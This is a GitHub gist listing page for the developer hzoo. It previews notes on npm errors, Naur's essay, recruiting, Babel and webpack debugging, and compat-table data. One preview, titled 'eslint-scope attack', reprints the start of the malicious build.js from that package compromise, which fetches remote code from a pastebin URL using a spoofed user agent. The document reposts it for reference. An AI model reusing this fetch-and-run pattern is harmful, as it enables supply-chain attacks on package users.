Skip to content

Instantly share code, notes, and snippets.

Avatar
🌱
outside!

Henry Zhu hzoo

🌱
outside!
View GitHub Profile
@hzoo
hzoo / npm_error.md
Last active May 29, 2020
`No matching version found for` babel
View npm_error.md

You might of seen something like:

npm ERR! code ETARGET
npm ERR! notarget No matching version found for @babel/types@^7.9.6.
npm ERR! notarget In most cases you or one of your dependencies are requesting
npm ERR! notarget a package version that doesn't exist.
npm ERR! notarget
@hzoo
hzoo / naur.md
Last active Oct 24, 2019 — forked from dpritchett/naur.md
Programming as Theory Building
View naur.md

Programming as Theory Building

Peter Naur, 1985

PDF: http://pages.cs.wisc.edu/~remzi/Naur.pdf

Introduction

The present discussion is a contribution to the understanding of what programming is. It suggests that programming properly should be regarded as an activity by which the programmers form or achieve a certain kind of insight, a theory, of the matters at hand. This suggestion is in contrast to what appears to be a more common notion, that programming should be regarded as a production of a program and certain other texts.

View rays2.txt
0 0 0 1 1 0 1 1 0 1 0 1 1 1 0 1 1 0 0
1 0 1 0 0 1 0 1 0 0 0 0 1 1 1 0 1 1 1
0 0 0 1 0 0 1 0 1 0 1 0 0 0 1 1 0 1 1
0 1 0 1 1 1 1 1 0 0 1 0 0 0 1 0 0 1 0
0 0 1 0 0 1 1 0 0 1 1 0 1 0 1 0 1 1 0 0
View rays.txt
0 1 1 1 1 1 0 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 1 1 0 1 0 1 1 1 0 1 1 0 0
0 1 0 0 1 0 0 1 1 1 1 1 1 1 1 0 0 1 0 1 0 0 1 0 1 0 0 0 0 1 1 1 0 1 1 1
1 1 1 1 0 1 1 1 1 0 1 1 0 1 0 0 1 0 0 0 1 0 0 1 0 1 0 1 0 0 0 1 1 0 1 1
1 0 0 1 0 0 1 0 0 0 1 0 1 1 1 0 0 1 0 1 1 1 1 1 0 0 1 0 0 0 1 0 0 1 0
0 1 1 1 0 1 1 1 0 0 0 0 0 0 0 0 0 0 1 0 0 1 1 0 0 1 1 0 1 0 1 0 1 1 0 0
0 0 1 0 0 1 1 1 1 1 1 1 0 1 1 0 1 0 0 1 0 0 0 1 0 1 1 0 0 0 0 1 1 1 1 1
1 1 1 1 0 1 1 1 1 0 1 1 1 0 1 1 0 1 0 0 1 0 1 0 0 0 1 0 1 0 1 0 0 0 1 0 1 1
0 1 0 0 1 0 0 0 0 0 1 0 1 1 0 0 1 0 0 1 1 1 0 1 1 0 0 1 1 0 0 0 1 0
@hzoo
hzoo / build.js
Created Jul 12, 2018
eslint-scope attack
View build.js
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
@hzoo
hzoo / plan.md
Last active Jul 13, 2018
Recruiting emails + open source
View plan.md

So I was thinking about how I never respond to recruiter emails, and how their way of try to appeal to me is a bit lacking: work on some framework, create a new framework, be a senior dev/cto, etc.

I was just thinking a bitabout how companies can change to better support open source, so why not respond back with some suggestions?

Can suggest:

  • donating to projects via Open Collective
  • having developer time to contribute back to open source
@hzoo
hzoo / unexpected.md
Created Aug 9, 2017
SyntaxError: unexpected token
View unexpected.md

Tips on debugging "SyntaxError: unexpected token"

This is almost impossible to write but might as well come up with some possibilities real quick.

It's an actual syntax error (typo, or just invalid syntax)!

Example:

function a() {
@hzoo
hzoo / diff
Last active Apr 7, 2017
preset-env vs core-js/shim
View diff
require("core-js/modules/es6.object.create");
require("core-js/modules/es6.object.define-property");
require("core-js/modules/es6.object.define-properties");
require("core-js/modules/es6.object.get-own-property-descriptor");
require("core-js/modules/es6.object.get-prototype-of");
require("core-js/modules/es6.object.keys");
require("core-js/modules/es6.object.get-own-property-names");
require("core-js/modules/es6.object.freeze");
require("core-js/modules/es6.object.seal");
@hzoo
hzoo / estree
Last active Feb 15, 2017
webpack tests
View estree
34 failing
1) ConfigTestCases extract-text issue-14 should compile:
Error: global leak detected: addresses
at Runner.checkGlobals (/Users/hzhu/dev/webpack/node_modules/mocha/lib/runner.js:213:21)
at Runner.<anonymous> (/Users/hzhu/dev/webpack/node_modules/mocha/lib/runner.js:76:10)
at emitOne (events.js:101:20)
at Runner.emit (events.js:188:7)
at /Users/hzhu/dev/webpack/node_modules/mocha/lib/runner.js:579:14
at done (/Users/hzhu/dev/webpack/node_modules/mocha/lib/runnable.js:295:5)
@hzoo
hzoo / data.txt
Created Dec 2, 2016
compat-table data
View data.txt
proper tail calls (tail call optimisation) / direct recursion
proper tail calls (tail call optimisation) / mutual recursion
default function parameters / basic functionality
default function parameters / explicit undefined defers to the default
default function parameters / defaults can refer to previous params
default function parameters / arguments object interaction
default function parameters / temporal dead zone
default function parameters / separate scope
default function parameters / new Function() support
rest parameters / basic functionality
You can’t perform that action at this time.